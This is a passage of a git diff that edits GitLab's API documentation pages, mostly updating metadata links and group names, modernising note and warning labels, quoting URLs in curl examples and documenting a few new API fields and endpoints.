https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -635,7 +635,7 @@ GET /projects/:id/repository/commits/:sha/statuses | `all` | boolean | no | Return all statuses, not only the latest ones ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/17/repository/commits/18f3e63d05582537db6d183d9d557be09e1f90c8/statuses +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/17/repository/commits/18f3e63d05582537db6d183d9d557be09e1f90c8/statuses" ``` Example response: diff --git a/doc/api/container_registry.md b/doc/api/container_registry.md index ddfe5d3f238..5f3dbcb1ab0 100644 --- a/doc/api/container_registry.md +++ b/doc/api/container_registry.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Container Registry API @@ -313,7 +313,7 @@ You can run this at most once an hour for a given container repository. This action doesn't delete blobs. To delete them and recycle disk space, [run the garbage collection](https://docs.gitlab.com/omnibus/maintenance/README.html#removing-unused-layers-not-referenced-by-manifests). -NOTE: **Note:** +NOTE: In GitLab 12.4 and later, individual tags are deleted. For more details, see the [discussion](https://gitlab.com/gitlab-org/gitlab/-/issues/15737). diff --git a/doc/api/custom_attributes.md b/doc/api/custom_attributes.md index 76c8474ee95..68d27b77998 100644 --- a/doc/api/custom_attributes.md +++ b/doc/api/custom_attributes.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Custom Attributes API @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Every API call to custom attributes must be authenticated as administrator. Custom attributes are currently available on users, groups, and projects, -which will be referred to as "resource" in this documentation. +which is referred to as "resource" in this documentation. ## List custom attributes @@ -74,7 +74,7 @@ Example response: ## Set custom attribute -Set a custom attribute on a resource. The attribute will be updated if it already exists, +Set a custom attribute on a resource. The attribute is updated if it already exists, or newly created otherwise. ```plaintext diff --git a/doc/api/dependencies.md b/doc/api/dependencies.md index 2f65ff7b8d9..6beb57a6da0 100644 --- a/doc/api/dependencies.md +++ b/doc/api/dependencies.md @@ -1,12 +1,12 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dependencies API **(ULTIMATE)** -CAUTION: **Caution:** +WARNING: This API is in an alpha stage and considered unstable. The response payload may be subject to change or breakage across GitLab releases. diff --git a/doc/api/dependency_proxy.md b/doc/api/dependency_proxy.md index 4d937027dec..ab691aaecea 100644 --- a/doc/api/dependency_proxy.md +++ b/doc/api/dependency_proxy.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dependency Proxy API @@ -11,9 +11,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11631) in GitLab 12.10. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 13.6. -Deletes the cached blobs for a group. This endpoint requires group admin access. +Deletes the cached manifests and blobs for a group. This endpoint requires group admin access. -CAUTION: **Warning:** +WARNING: [A bug exists](https://gitlab.com/gitlab-org/gitlab/-/issues/277161) for this API. ```plaintext diff --git a/doc/api/deploy_key_multiple_projects.md b/doc/api/deploy_key_multiple_projects.md index 85df972746e..16ce201c1c0 100644 --- a/doc/api/deploy_key_multiple_projects.md +++ b/doc/api/deploy_key_multiple_projects.md @@ -3,3 +3,6 @@ redirect_to: deploy_keys.md#adding-deploy-keys-to-multiple-projects --- This document was moved to [another location](deploy_keys.md#adding-deploy-keys-to-multiple-projects). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/deploy_keys.md b/doc/api/deploy_keys.md index 97b7614f932..293f7218527 100644 --- a/doc/api/deploy_keys.md +++ b/doc/api/deploy_keys.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Deploy Keys API diff --git a/doc/api/deploy_tokens.md b/doc/api/deploy_tokens.md index ce55657ce27..2bdec4a0688 100644 --- a/doc/api/deploy_tokens.md +++ b/doc/api/deploy_tokens.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Deploy Tokens API diff --git a/doc/api/deployments.md b/doc/api/deployments.md index 0bc72c93be7..4a937cd1818 100644 --- a/doc/api/deployments.md +++ b/doc/api/deployments.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/api/discussions.md b/doc/api/discussions.md index b9feef843b1..51ca2bea3ae 100644 --- a/doc/api/discussions.md +++ b/doc/api/discussions.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, api --- @@ -773,6 +773,7 @@ Diff comments also contain position: "noteable_id": 3, "noteable_type": "Merge request", "noteable_iid": null, + "commit_id": "4803c71e6b1833ca72b8b26ef2ecd5adc8a38031", "position": { "base_sha": "b5d6e7b1613fca24d250fa8e5bc7bcc3dd6002ef", "start_sha": "7c9c2ead8a320fb7ba0b4e234bd9529a2614e306", @@ -828,6 +829,8 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a ### Create new merge request thread +> The `commit id` entry was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47130) in GitLab 13.7. + Creates a new thread to a single project merge request. This is similar to creating a note but other comments (replies) can be added to it later. @@ -842,6 +845,7 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `body` | string | yes | The content of the thread | +| `commit_id` | string | no | SHA referencing commit to start this thread on | | `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | | `position` | hash | no | Position when creating a diff note | | `position[base_sha]` | string | yes | Base commit SHA in the source branch | diff --git a/doc/api/environments.md b/doc/api/environments.md index 8b900ad2fd3..7340fe9f9e9 100644 --- a/doc/api/environments.md +++ b/doc/api/environments.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/api/epic_issues.md b/doc/api/epic_issues.md index 21ba75d37a5..17115f65b90 100644 --- a/doc/api/epic_issues.md +++ b/doc/api/epic_issues.md @@ -1,18 +1,18 @@ --- stage: Plan group: Product Planning -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Epic Issues API **(PREMIUM)** Every API call to epic_issues must be authenticated. -If a user is not a member of a group and the group is private, a `GET` request on that group will -result in a `404` status code. +If a user is not a member of a group and the group is private, a `GET` request on that group +results in a `404` status code. Epics are available only in GitLab [Premium and higher](https://about.gitlab.com/pricing/). -If the Epics feature is not available, a `403` status code will be returned. +If the Epics feature is not available, a `403` status code is returned. ## List issues for an epic diff --git a/doc/api/epic_links.md b/doc/api/epic_links.md index a368b806f75..319d1a1ee9b 100644 --- a/doc/api/epic_links.md +++ b/doc/api/epic_links.md @@ -1,7 +1,7 @@ --- stage: Plan group: Product Planning -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Epic Links API **(ULTIMATE)** @@ -12,10 +12,10 @@ Manages parent-child [epic relationships](../user/group/epics/index.md#multi-lev Every API call to `epic_links` must be authenticated. -If a user is not a member of a group and the group is private, a `GET` request on that group will result to a `404` status code. +If a user makes a `GET` request to a private group they are not a member of, the result is a `404` status code. Multi-level Epics are available only in GitLab [Ultimate/Gold](https://about.gitlab.com/pricing/). -If the Multi-level Epics feature is not available, a `403` status code will be returned. +If the Multi-level Epics feature is not available, a `403` status code is returned. ## List epics related to a given epic @@ -135,9 +135,9 @@ POST /groups/:id/epics/:epic_iid/epics | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user | -| `epic_iid` | integer | yes | The internal ID of the (future parent) epic. | -| `title` | string | yes | The title of a newly created epic. | -| `confidential` | boolean | no | Whether the epic should be confidential. Will be ignored if `confidential_epics` feature flag is disabled. Defaults to the confidentiality state of the parent epic. | +| `epic_iid` | integer | yes | The internal ID of the (future parent) epic. | +| `title` | string | yes | The title of a newly created epic. | +| `confidential` | boolean | no | Whether the epic should be confidential. Parameter is ignored if `confidential_epics` feature flag is disabled. Defaults to the confidentiality state of the parent epic. | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/epics/5/epics?title=Newpic" diff --git a/doc/api/epics.md b/doc/api/epics.md index 74cde87bb91..dc582808578 100644 --- a/doc/api/epics.md +++ b/doc/api/epics.md @@ -1,7 +1,7 @@ --- stage: Plan group: Product Planning -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Epics API **(PREMIUM)** @@ -38,11 +38,11 @@ are paginated. Read more on [pagination](README.md#pagination). -CAUTION: **Deprecation:** +WARNING: > `reference` attribute in response is deprecated in favour of `references`. > Introduced [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354) -NOTE: **Note:** +NOTE: > `references.relative` is relative to the group that the epic is being requested. When epic is fetched from its origin group > `relative` format would be the same as `short` format and when requested cross groups it is expected to be the same as `full` format. @@ -251,7 +251,7 @@ Example response: Creates a new epic. -NOTE: **Note:** +NOTE: Starting with GitLab [11.3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6448), `start_date` and `end_date` should no longer be assigned directly, as they now represent composite values. You can configure it via the `*_is_fixed` and `*_fixed` fields instead. @@ -333,7 +333,7 @@ Example response: Updates an epic. -NOTE: **Note:** +NOTE: Starting with GitLab [11.3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6448), `start_date` and `end_date` should no longer be assigned directly, as they now represent composite values. You can configure it via the `*_is_fixed` and `*_fixed` fields instead. diff --git a/doc/api/error_tracking.md b/doc/api/error_tracking.md index 5bb5016d0fd..12ff0148661 100644 --- a/doc/api/error_tracking.md +++ b/doc/api/error_tracking.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Error Tracking settings API diff --git a/doc/api/events.md b/doc/api/events.md index e59630d1358..d073e7ed633 100644 --- a/doc/api/events.md +++ b/doc/api/events.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Events @@ -268,7 +268,7 @@ Example response: ## List a Project's visible events -NOTE: **Note:** +NOTE: This endpoint has been around longer than the others. Documentation was formerly located in the [Projects API pages](projects.md). Get a list of visible events for a particular project. diff --git a/doc/api/experiments.md b/doc/api/experiments.md index 7e2cad1070b..3c8efa35b78 100644 --- a/doc/api/experiments.md +++ b/doc/api/experiments.md @@ -1,7 +1,7 @@ --- stage: Growth group: Expansion -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Experiments API diff --git a/doc/api/feature_flag_specs.md b/doc/api/feature_flag_specs.md index eaa6ea36c23..45db47f5ffe 100644 --- a/doc/api/feature_flag_specs.md +++ b/doc/api/feature_flag_specs.md @@ -1,14 +1,14 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Feature Flag Specs API **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5. -CAUTION: **Deprecation:** +WARNING: This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). The API for creating, updating, reading and deleting Feature Flag Specs. diff --git a/doc/api/feature_flag_user_lists.md b/doc/api/feature_flag_user_lists.md index 7cdfcb8d074..ba03b81ebfd 100644 --- a/doc/api/feature_flag_user_lists.md +++ b/doc/api/feature_flag_user_lists.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Feature flag user lists API **(CORE)** @@ -13,7 +13,7 @@ API for accessing GitLab Feature Flag User Lists. Users with Developer or higher [permissions](../user/permissions.md) can access the Feature Flag User Lists API. -NOTE: **Note:** +NOTE: `GET` requests return twenty results at a time because the API results are [paginated](README.md#pagination). You can change this value. diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md index fbda873f866..e8d6911463d 100644 --- a/doc/api/feature_flags.md +++ b/doc/api/feature_flags.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Feature Flags API **(CORE)** @@ -10,10 +10,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.5. -NOTE: **Note:** -This API is behind a [feature flag](../operations/feature_flags.md#enable-or-disable-feature-flag-strategies). -If this flag is not enabled in your environment, you can use the [legacy feature flags API](feature_flags_legacy.md). - API for accessing resources of [GitLab Feature Flags](../operations/feature_flags.md). Users with Developer or higher [permissions](../user/permissions.md) can access Feature Flag API. @@ -107,7 +103,7 @@ GET /projects/:id/feature_flags/:feature_flag_name | `feature_flag_name` | string | yes | The name of the feature flag. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature" ``` Example response: diff --git a/doc/api/feature_flags_legacy.md b/doc/api/feature_flags_legacy.md index a7c139a02ba..8a5af39a37f 100644 --- a/doc/api/feature_flags_legacy.md +++ b/doc/api/feature_flags_legacy.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Legacy Feature Flags API **(CORE)** @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.5. -CAUTION: **Deprecation:** +WARNING: This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). Use [this API](feature_flags.md) instead. API for accessing resources of [GitLab Feature Flags](../operations/feature_flags.md). @@ -36,7 +36,7 @@ GET /projects/:id/feature_flags | `scope` | string | no | The condition of feature flags, one of: `enabled`, `disabled`. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/projects/1/feature_flags +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags" ``` Example response: @@ -174,7 +174,7 @@ POST /projects/:id/feature_flags | `scopes:strategies` | JSON | no | The [strategies](../operations/feature_flags.md#feature-flag-strategies) of the feature flag spec. | ```shell -curl https://gitlab.example.com/api/v4/projects/1/feature_flags \ +curl "https://gitlab.example.com/api/v4/projects/1/feature_flags" \ --header "PRIVATE-TOKEN: <your_access_token>" \ --header "Content-type: application/json" \ --data @- << EOF @@ -244,7 +244,7 @@ GET /projects/:id/feature_flags/:name | `name` | string | yes | The name of the feature flag. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace" ``` Example response: @@ -320,5 +320,5 @@ DELETE /projects/:id/feature_flags/:name | `name` | string | yes | The name of the feature flag. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" --request DELETE https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature +curl --header "PRIVATE-TOKEN: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature" ``` diff --git a/doc/api/features.md b/doc/api/features.md index bbf86eca490..0582a4b9432 100644 --- a/doc/api/features.md +++ b/doc/api/features.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Features flags API @@ -37,7 +37,8 @@ Example response: "key": "boolean", "value": false } - ] + ], + "definition": null }, { "name": "my_user_feature", @@ -47,7 +48,15 @@ Example response: "key": "percentage_of_actors", "value": 34 } - ] + ], + "definition": { + "name": "my_user_feature", + "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880", + "rollout_issue_url": "https://gitlab.com/gitlab-org/gitlab/-/issues/244905", + "group": "group::ci", + "type": "development", + "default_enabled": false + } }, { "name": "new_library", @@ -57,7 +66,45 @@ Example response: "key": "boolean", "value": true } - ] + ], + "definition": null + } +] +``` + +## List all feature definitions + +Get a list of all feature definitions. + +```plaintext +GET /features/definitions +``` + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/features/definitions" +``` + +Example response: + +```json +[ + { + "name": "api_kaminari_count_with_limit", + "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23931", + "rollout_issue_url": null, + "milestone": "11.8", + "type": "ops", + "group": "group::ecosystem", + "default_enabled": false + }, + { + "name": "marginalia", + "introduced_by_url": null, + "rollout_issue_url": null, + "milestone": null, + "type": "ops", + "group": null, + "default_enabled": false } ] ``` @@ -81,6 +128,7 @@ POST /features/:name | `user` | string | no | A GitLab username | | `group` | string | no | A GitLab group's path, for example `gitlab-org` | | `project` | string | no | A projects path, for example `gitlab-org/gitlab-foss` | +| `force` | boolean | no | Skip feature flag validation checks, ie. YAML definition | Note that you can enable or disable a feature for a `feature_group`, a `user`, a `group`, and a `project` in a single API call. @@ -104,7 +152,15 @@ Example response: "key": "percentage_of_time", "value": 30 } - ] + ], + "definition": { + "name": "my_user_feature", + "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880", + "rollout_issue_url": "https://gitlab.com/gitlab-org/gitlab/-/issues/244905", + "group": "group::ci", + "type": "development", + "default_enabled": false + } } ``` @@ -133,7 +189,15 @@ Example response: "key": "percentage_of_actors", "value": 42 } - ] + ], + "definition": { + "name": "my_user_feature", + "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880", + "rollout_issue_url": "https://gitlab.com/gitlab-org/gitlab/-/issues/244905", + "group": "group::ci", + "type": "development", + "default_enabled": false + } } ``` diff --git a/doc/api/freeze_periods.md b/doc/api/freeze_periods.md index 7a2f88e9f00..50f1fe9f12b 100644 --- a/doc/api/freeze_periods.md +++ b/doc/api/freeze_periods.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -9,7 +9,7 @@ type: concepts, howto > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29382) in GitLab 13.0. -You can use the Freeze Periods API to manipulate GitLab's [Freeze Period](../user/project/releases/index.md#prevent-unintentional-releases-by-setting-a-deploy-freeze) entries. +You can use the Freeze Periods API to manipulate GitLab [Freeze Period](../user/project/releases/index.md#prevent-unintentional-releases-by-setting-a-deploy-freeze) entries. ## Permissions and security @@ -101,7 +101,7 @@ Example request: ```shell curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: <your_access_token>" \ --data '{ "freeze_start": "0 23 * * 5", "freeze_end": "0 7 * * 1", "cron_timezone": "UTC" }' \ - --request POST https://gitlab.example.com/api/v4/projects/19/freeze_periods + --request POST "https://gitlab.example.com/api/v4/projects/19/freeze_periods" ``` Example response: @@ -138,7 +138,7 @@ Example request: ```shell curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: <your_access_token>" \ --data '{ "freeze_end": "0 8 * * 1" }' \ - --request PUT https://gitlab.example.com/api/v4/projects/19/freeze_periods/1 + --request PUT "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1" ``` Example response: diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md index c9b86320a9f..280d02ced32 100644 --- a/doc/api/geo_nodes.md +++ b/doc/api/geo_nodes.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Geo Nodes API **(PREMIUM ONLY)** @@ -240,7 +240,7 @@ Example response: Removes the Geo node. -NOTE: **Note:** +NOTE: Only a Geo primary node will accept this request. ```plaintext @@ -548,7 +548,8 @@ Example response: } ``` -Note: The `health_status` parameter can only be in an "Healthy" or "Unhealthy" state, while the `health` parameter can be empty, "Healthy", or contain the actual error message. +NOTE: +The `health_status` parameter can only be in an "Healthy" or "Unhealthy" state, while the `health` parameter can be empty, "Healthy", or contain the actual error message. ## Retrieve project sync or verification failures that occurred on the current node diff --git a/doc/api/graphql/audit_report.md b/doc/api/graphql/audit_report.md index 12663654026..74ac8710160 100644 --- a/doc/api/graphql/audit_report.md +++ b/doc/api/graphql/audit_report.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Set up an Audit Report with GraphQL @@ -105,7 +105,7 @@ explorer. GraphiQL explorer is available for:  -NOTE: **Note:** +NOTE: [The GraphQL API returns a GlobalID, rather than a standard ID.](getting_started.md#queries-and-mutations) It also expects a GlobalID as an input rather than a single integer. diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md index 8501e76b5aa..ca2b7989700 100644 --- a/doc/api/graphql/getting_started.md +++ b/doc/api/graphql/getting_started.md @@ -1,12 +1,12 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Getting started with GitLab GraphQL API -This guide demonstrates basic usage of GitLab's GraphQL API. +This guide demonstrates basic usage of the GitLab GraphQL API. See the [GraphQL API style guide](../../development/api_graphql_styleguide.md) for implementation details aimed at developers who wish to work on developing the API itself. @@ -29,7 +29,7 @@ Example: ```shell GRAPHQL_TOKEN=<your-token> -curl 'https://gitlab.com/api/graphql' --header "Authorization: Bearer $GRAPHQL_TOKEN" --header "Content-Type: application/json" --request POST --data "{\"query\": \"query {currentUser {name}}\"}" +curl "https://gitlab.com/api/graphql" --header "Authorization: Bearer $GRAPHQL_TOKEN" --header "Content-Type: application/json" --request POST --data "{\"query\": \"query {currentUser {name}}\"}" ``` ### GraphiQL @@ -41,11 +41,11 @@ The examples below: - Can be run directly against GitLab 11.0 or later, though some of the types and fields may not be supported in older versions. -- Will work against GitLab.com without any further setup. Make sure you are signed in and +- Works against GitLab.com without any further setup. Make sure you are signed in and navigate to the [GraphiQL Explorer](https://gitlab.com/-/graphql-explorer). If you want to run the queries locally, or on a self-managed instance, -you will need to either: +you must either: - Create the `gitlab-org` group with a project called `graphql-sandbox` under it. Create several issues within the project. @@ -53,7 +53,7 @@ several issues within the project. Please refer to [running GraphiQL](index.md#graphiql) for more information. -NOTE: **Note:** +NOTE: If you are running GitLab 11.0 to 12.0, enable the `graphql` [feature flag](../features.md#set-or-create-a-feature). @@ -64,12 +64,12 @@ The GitLab GraphQL API can be used to perform: - Queries for data retrieval. - [Mutations](#mutations) for creating, updating, and deleting data. -NOTE: **Note:** +NOTE: In the GitLab GraphQL API, `id` refers to a [Global ID](https://graphql.org/learn/global-object-identification/), which is an object identifier in the format of `"gid://gitlab/Issue/123"`. -[GitLab's GraphQL Schema](reference/index.md) outlines which objects and fields are +[GitLab GraphQL Schema](reference/index.md) outlines which objects and fields are available for clients to query and their corresponding data types. Example: Get only the names of all the projects the currently logged in user can access (up to a limit, more on that later) @@ -133,7 +133,7 @@ More about queries: ### Authorization Authorization uses the same engine as the GitLab application (and GitLab.com). So if you've signed in to GitLab -and use GraphiQL, all queries will be performed as you, the signed in user. For more information, see the +and use GraphiQL, all queries are performed as you, the signed in user. For more information, see the [GitLab API documentation](../README.md#authentication). ### Mutations @@ -173,7 +173,7 @@ mutation { ``` Example: Add a comment to the issue (we're using the ID of the `GitLab.com` issue - but -if you're using a local instance, you'll need to get the ID of an issue you can write to). +if you're using a local instance, you must get the ID of an issue you can write to). ```graphql mutation { @@ -289,7 +289,7 @@ More about introspection: ## Sorting -Some of GitLab's GraphQL endpoints allow you 